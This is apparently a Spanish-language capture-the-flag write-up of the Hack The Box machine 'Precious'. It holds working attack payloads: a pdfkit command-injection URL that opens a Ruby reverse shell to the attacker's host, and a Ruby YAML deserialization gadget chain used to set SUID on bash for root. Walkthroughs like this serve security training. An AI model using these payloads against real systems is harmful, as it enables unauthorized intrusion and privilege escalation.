domingo, 26 de marzo de 2023

HTB Precious

 


Precios es una máquina con sistema operativo linux. Asi que se comienza a escanear los puertos.

$ sudo nmap -sV -Pn -A -O -oN precious 10.10.11.189
Starting Nmap
Nmap scan report for 10.10.11.189
Host is up (0.29s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Ahora se agrega precious.htb con la IP al archivo /etc/hosts.

Luego yendo http://precious.htb/, desde el navegador se encuentra con esto.

 

Es un convertidor de páginas a PDF, al revisar el código fuente, algún parámetro extraño en la petición u otras rutas no se encontró nada. Asi con el buen burp suit, en modo interceptor para averiguar algo, pero fue infructuoso. Después se puso a correr un servicio web con Python y pasarla a la aplicación.

$ python3 -m http.server 80 

 

 

Al ingresarla, lista los archivos que esten igual o por debajo de la gerarquia de archivos donde se genero el servicio web.

 

Se descarga el archivo y se comprobo el tipo de archivo y con exiftool para  examinar las propiedades del archivo descargado.
$ exiftool {name}.pdf
...
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

 

Se busca una vulnerabilidad para pdfkit, por suerte se encontró una vulnerabilidad de command injection, asi que se explota esa vulnerabilidad.


 

Al verificar que se puede inyectar código dentro de la petición, se envía una reverse shell y paralelamente se abre un puerto de escucha en una terminal.


$ nc -lvnp 4567                                
listening on [any] 4567 ...

http://10.10.16.11:80/?name=%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.16.11",4567))'`

Seguido identificar el id, se explora algunos directorios.
id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
ls -la
total 36
drwxr-xr-x 6 root root 4096 Oct 26 08:28 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
drwxr-xr-x 4 root ruby 4096 Oct 26 08:28 app
drwxr-xr-x 2 root ruby 4096 Oct 26 08:28 config
-rw-r--r-- 1 root ruby   59 Sep 10 09:46 config.ru
-rw-r--r-- 1 root ruby   99 Sep 17 14:17 Gemfile
-rw-r--r-- 1 root ruby  478 Sep 26 05:04 Gemfile.lock
drwxrwxr-x 2 root ruby 4096 Feb 25 15:52 pdf
drwxr-xr-x 4 root ruby 4096 Oct 26 08:28 public
ls config
environment.rb
cat config/environment.rb
require 'bundler/setup'

APP_ENV = ENV["RACK_ENV"] || "development"

Bundler.require :default, APP_ENV.to_sym

require 'rubygems'
require 'bundler'

require_rel '../app'
cd /home
ls
henry
ruby

 

Al llegar a este punto se encontró el flag de usuario, pero no se tiene permiso porque le pertenece a otro usuario.
ls -la
total 28
drwxr-xr-x 4 ruby ruby 4096 Feb 25 15:47 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root    9 Oct 26 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby  220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27  2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle
drwxr-xr-x 3 ruby ruby 4096 Feb 25 15:47 .cache
-rw-r--r-- 1 ruby ruby  807 Mar 27  2022 .profile

cd .bundle
ls
config
ls -la
total 12
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .
drwxr-xr-x 4 ruby ruby 4096 Feb 25 15:47 ..
-r-xr-xr-x 1 root ruby   62 Sep 26 05:04 config
cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:***************YFH"

 

Después de esto se puede pivotar a la cuenta de henry con el comando "su henry " y su respectiva contraseña, entonces ya se podrá obtener el flag de usuario. Ahora se verifica si este usuario tiene algún permiso con permiso root.

sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb


cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

 

Al ver este script se puede vislumbrar un método YAML.load()  es vulnerable a Blind Remote Code Execution through YAML Deserialization. Se reescribe el archivo dependencies.yml que se encuentra en el homespace de henry, para probar que funciona con lo siguiente y posteriormente a ejecutar el programa con "sudo /usr/bin/ruby /opt/update_dependencies.rb".
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve


Ahora es ya comprobado que funciona, es hora de modificarlo un poco, en la sección  "git_set: id", se cambiara por "git_set: chmod u+s /bin/bash", cambiando los permisos a bash. Para finalizar solo es ejecutar el comando "bash -p", verificar los permisos de root y conseguir el flag de root.